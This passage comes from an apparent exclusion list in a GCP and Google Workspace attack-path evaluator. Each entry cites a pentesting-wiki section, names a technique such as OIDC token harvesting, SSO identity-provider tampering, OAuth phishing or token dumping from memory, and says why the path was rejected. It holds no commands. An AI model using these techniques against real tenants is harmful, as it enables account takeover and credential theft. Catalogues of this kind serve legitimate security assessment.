and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesexportartifacts--copy-an-artifact-to-cloud-storage + technique: Export Artifact Registry artifact to storage + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryskillrevisionscreate--agentregistryskillsupdate--replace-an-executable-skills-default-revision + technique: Replace default executable Skill revision + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#continuously-capture-labelled-compute-resources-with-auto-protection + technique: Capture future VM disk credentials with Backup and DR auto-protection + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#restore-a-vaulted-compute-engine-backup-into-a-controlled-project + technique: Recover durable credentials stored on backed-up VM disks + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryjobslistall--jobslist-jobsget--read-every-principals-sql-silently + technique: Recover API keys or tokens in other users’ SQL and query parameters + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md#read-stored-build-output + technique: Recover credentials printed in stored Cloud Build logs + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md#remote-repository-pointing-at-an-attacker-controlled-upstream-url + technique: Create attacker-upstream remote repository consumed directly + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-deployment-manager-enum.md#what-to-review + technique: Recover an unredacted credential from a deployment manifest + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-application-design-center-post-exploitation.md#rolesdesigncenterviewer--read-objects-from-known-cloud-storage-buckets + technique: Read known bucket objects through Design Center Viewer role + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#http-connector-credential-forwarding + technique: Redirect credentialed HTTP connector via caller-controlled URL + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-deployment-manager-post-exploitation.md#deploymentmanagermanifestsget--discovery-permissions--recover-configuration-and-unredacted-credentials + technique: Recover a second identity credential from a Deployment Manager manifest + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md#dialogflowwebhooksupdate--redirect-retained-external-authentication-material + technique: Redirect a routed webhook retaining an external credential + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/resource-sharing-and-confused-deputy-attacks.md#notable-subtleties + technique: Pub/Sub push OIDC token to attacker endpoint + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#scheduled-service-agent-oidc-token-harvesting---monitoringuptimecheckconfigscreate--an-endpoint-you-control + technique: Receive Monitoring service-agent OIDC tokens + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-secure-source-manager-enum.md#relevant-permissions + technique: Capture repository webhook OIDC token + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#backdoor-workflow-bound-to-a-privileged-service-account + technique: Invoke an existing parameterized workflow as its service account + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#long-lived-callback-endpoint---a-waiting-execution-as-a-trigger + technique: Resume a privileged workflow through a parameterized callback + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md#historical--unpatched-hybrid-cve-2025-13292-gatewaytoheaven + technique: Unpatched Apigee Hybrid metadata and analytics-worker credential chain + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#backup-and-restore-gke-secrets-into-an-attacker-accessible-cluster + technique: Copy source-cluster credential Secrets with Backup for GKE + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#export-sql-server-login-password-hashes-with-sp_help_revlogin + technique: Recover another Cloud SQL login by exporting and cracking SQL Server password hashes + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#authenticated-user-tokens + technique: Steal another Google user’s locally stored gcloud access or refresh token + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#service-accounts + technique: Steal a service-account private key or access token from a host + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#metadata + technique: Fetch an attached service account’s token after gaining guest code execution + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#grant-yourselfan-account-a-privileged-admin-role + technique: Assign a stronger Workspace administrator role to a controlled account + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#domain-wide-delegation-grant-to-an-attacker-service-account + technique: Authorize an attacker-controlled service-account OAuth client for Workspace domain-wide delegation + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#marketplace-app-domain-install--oauth-app-trusted-allow-listing + technique: Install or trust an attacker OAuth app across a Workspace domain + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#sso--saml-sign-in-profile-tampering + technique: Point Workspace SSO at an attacker-controlled identity provider + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#shared-document-script-ownership + technique: Modify a bound Apps Script that later runs under its owner’s authorization + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md#gcds---disk-tokens--ad-credentials + technique: Recover GCDS administrator OAuth and directory credentials from host configuration + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---registry-refresh-tokens + technique: Recover another GCPW user’s Google refresh token or password + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---mitm + technique: Intercept a GCPW user’s Google authorization response during sign-in + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md#gps---dumping-password-and-token-from-disk + technique: Recover Password Sync administrator OAuth or AD credentials from its host + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md#attacking-groups + technique: Join a GCP IAM-bound Workspace group by changing its synchronized external-directory group + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#create-a-new-super-admin + technique: Create a second Google Workspace Super Admin + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#abusing-shared-with-me-documents + technique: Edit a shared Apps Script that still has another user’s installable trigger + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md#gcds---dumping-tokens-from-memory + technique: Extract GCDS OAuth or AD credentials from process memory + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---disk-refresh-tokens + technique: Recover Chrome profile refresh tokens on a GCPW workstation + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---dumping-tokens-from-processes-memory + technique: Recover Google tokens from browser process memory on a GCPW workstation + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---recovering-clear-text-password + technique: Recover a GCPW account password from the Windows LSA secret + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md#gps---dumping-tokens-from-memory + technique: Extract Password Sync OAuth or AD credentials from process memory + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#app-password-phishing + technique: Phish a Workspace user into issuing and disclosing an app password + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#oauth-apps-phishing + technique: Obtain delegated user tokens through consent to an attacker OAuth app + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md#manual-authorization-response-relay + technique: Relay a victim’s OAuth authorization code or callback URL + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#leak-token + technique: Exfiltrate an Apps Script OAuth token after victim authorization + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---get-tokens + technique: Recover another user’s GCPW refresh token or stored Google password + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#projectsmove--foldersmove--change-inherited-security-controls + technique: projects.move / folders.move into a parent where the source holds inherited admin + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#projectsdeletepolicybinding--projectsupdatepolicybinding--escape-a-pab + technique: projects.deletePolicyBinding / updatePolicyBinding PAB escape + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#createtagbinding--deletetagbinding--flip-tag-gated-security-conditions + technique: createTagBinding / deleteTagBinding condition flip + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacapoolsupdate-or-privatecacertificatetemplatesupdate--issuance--relax-certificate-constraints + technique: Relax issuance constraints + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#access-privileged-gcp-users + technique: Workspace admin resets a tenant user's password or adds itself to a tenant group to obtain that identity's GCP roles + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md#gcp + technique: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#federation-and-metadata-server-abuse + technique: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#workload--workforce-identity-federation-confused-deputy + technique: Abuse an over-broad existing workload/workforce identity federation binding from an external identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-identity-persistence.md#open-an-iam-bound-groups-join-policy--durable-self-service-re-entry + technique: Open an IAM-bound Google Group to later self-join by a controlled identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-application-design-center-enum.md#remote-mcp-server + technique: Deploy caller-controlled infrastructure as a selected service account through Application Design Center + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#account-takeover-reset-password--strip-2-step-verification + technique: Take over a Workspace user with password reset and 2SV control + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md#attacking-users + technique: Claim a newly synced Workspace user through its activation mailbox + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#activate-a-stronger-role-through-an-existing-entitlement + technique: Request a temporary IAM-admin grant through a PAM entitlement the source is eligible for + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#federation-and-metadata-server-abuse + technique: Compromised pod reads node SA token or legacy kube-env from metadata + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#service-accounts + technique: Read attached VM SA token from metadata after host access + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#managed-service-tenant--host-escapes + technique: Unauthenticated Dataproc YARN UI submits job as cluster identity + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#cloudprivatecatalogproducerproductsupdate--poison-an-existing-deployable-solution-version + technique: Poison a Terraform solution deployed by a consumer + reason: Evaluator has no typed evidence contract for gcp-privatecatalog-terraform-version-poison; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#service-account-impersonation--the-crown-jewel + technique: Mint OIDC ID token to invoke protected endpoint as SA + reason: Evaluator has no typed evidence contract for gcp-sa-getopenidtoken-protected-endpoint; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md#custom-job-information + technique: Read inline credentials in custom-job environment of a GCP service account + reason: Evaluator has no typed evidence contract for gcp-vertex-customjob-env-sa-credential; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + technique: Render a parameter version to recover a stronger credential + reason: Evaluator has no typed evidence contract for gcp-parametermanager-version-render-credential; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + technique: Render a template version to recover a stronger credential + reason: Evaluator has no typed evidence contract for gcp-parametermanager-template-render-credential; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#relevant-permissions + technique: Insert a secret reference and render it through Parameter Manager identity + reason: Evaluator has no typed evidence contract for gcp-parametermanager-write-reference-render-credential; generic challenge flags do not verify the exact target, + credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added + permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md#enumeration + technique: Read credential from workflow execution arguments or results of a GCP service account + reason: Evaluator has no typed evidence contract for gcp-workflows-execution-sa-credential; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-secure-source-manager-enum.md#relevant-permissions + technique: Clone a repository containing a stronger cloud credential + reason: Evaluator has no typed evidence contract for gcp-securesourcemanager-fetch-committed-credential; generic challenge flags do not verify the exact target, + credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added + permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-sensitive-data-protection-dlp-enum.md#enumeration + technique: Read quoted credentials from DLP job findings of a GCP service account + reason: Evaluator has no typed evidence contract for gcp-dlp-job-quote-sa-credential; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#usetosign-on-mac--hmac-keys--forge-hmacs + technique: '#### `useToSign` on MAC / HMAC keys — forge HMACs' + reason: Evaluator has no typed evidence contract for gcp-v3-04-forge-an-application-session-or-api-identity-with-a-kms-ma; generic challenge flags do not verify + the exact target, credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact + principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypolicyset-iamserviceaccountsactas + technique: '### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`' + reason: Evaluator has no typed evidence contract for gcp-v3-34-disable-cross-project-sa-usage-constraint-plus-actas; generic challenge flags do not verify the exact + target, credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal + or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacertificatescreate--issue-a-certificate-for-a-more-privileged-identity + technique: '### `privateca.certificates.create` — issue a certificate for a more privileged identity' + reason: Evaluator has no typed evidence contract for gcp-v3-40-issue-a-certificate-for-another-identity; generic challenge flags do not verify the exact target, + credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added + permission. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#signature--jwt--oidc-forgery-with-only-usetosign + technique: '#### Signature / JWT / OIDC forgery with only `useToSign`' + reason: Evaluator has no typed evidence contract for gcp-v3-43-kms-usetosign-on-a-key-that-backs-a-trusted-jwt-oidc-issue; generic challenge flags do not verify + the exact target, credential usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact + principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsattach + technique: Use attach to control an interactive process in a running pod + reason: Evaluator has no typed evidence contract for gcp-container-pods-attach-running-ksa; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md#enumeration + technique: Read credential from Storage object or older generation of a GCP service account + reason: Evaluator has no typed evidence contract for gcp-storage-object-sa-credential; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#plaintext-environment-disclosure-with-cloud-run-read-permissions + technique: Plaintext credential theft + reason: Evaluator has no typed evidence contract for gcp-run-literal-sa-key-disclosure; generic challenge flags do not verify the exact target, credential usability, + credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#escalation-through-a-recovered-secret + technique: Stored credential theft + reason: Evaluator has no typed evidence contract for gcp-secretmanager-versions-access-sa-key; generic challenge flags do not verify the exact target, credential + usability, credential subject, current authorization, or complete action-to-gain chain. Re-admit only with typed proof and an exact principal or added permission. +- id: gcp-managedflink-jobs-create-actas + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-flink-post-exploitation.md#managedflinkjobscreate--execute-an-attacker-jarpython-job-as-the-workload-identity + technique: gcp-managedflink-jobs-create-actas + reason: Google documents job execution under a workload identity but does not establish the caller-side actAs check or a usable route from job code to that identity’s + permissions. The declared permission-to-principal edge is unproven; retain only as a post-exploitation lead until verified. +- id: gcp-backupdr-restore-compute-vm-as-chosen-sa + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#restore-a-vaulted-compute-engine-backup-into-a-controlled-project + technique: gcp-backupdr-restore-compute-vm-as-chosen-sa + reason: The documented restore step establishes disk/data recovery, but does not establish that caller actAs authorizes attachment of the chosen service account + or that the caller can use its permissions on the restored VM. The principal edge is unproven; retain the data-recovery action in post exploitation. +- id: gcp-managedflink-jobs-create-actas + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-managed-flink-enum.md#relevant-permissions + technique: Managed Flink job create permission overview + reason: The permission inventory does not prove a caller-to-workload-identity escalation path; the job identity gate and usable principal gain require validation. +- id: gcp-datafusion-namespace-setserviceaccount-actas + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-data-fusion-persistence.md#scheduled-backdoor-pipeline-pinned-to-a-privileged-runtime-sa + technique: gcp-datafusion-namespace-setserviceaccount-actas + reason: The namespace service-account binding can be a design-time identity. The catalog itself states that runtime code may instead use the compute-profile service + account. No verified action-to-chosen-runtime-principal path is established. +- id: gcp-configcontroller-krmapihosts-setiampolicy + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-config-controller-persistence.md#durable-instance-iam-binding-krmapihostingkrmapihostssetiampolicy + technique: Config Controller instance policy self-grant followed by assumed Config Connector pivot + reason: Historical persistence-section anchor; the instance role grant is real, but the catalog's declared hop to Config Connector identity lacks proof of Kubernetes + custom-resource write authority. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicessetiampolicy--self-grant-on-a-managed-service + technique: Self-grant servicemanagement.services.check on a managed service + reason: Managed service names are not project descendants in the typed resource-self-grant evidence contract. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplexlakeszonesassetssetiampolicy--self-grant-backing-data-access-through-managed-asset-iam + technique: Self-grant storage.objects.get on a lake + reason: The policy target is a Dataplex lake/zone/asset, while the claimed new storage permission applies to a different backing resource; the typed evidence does + not bind that second resource. 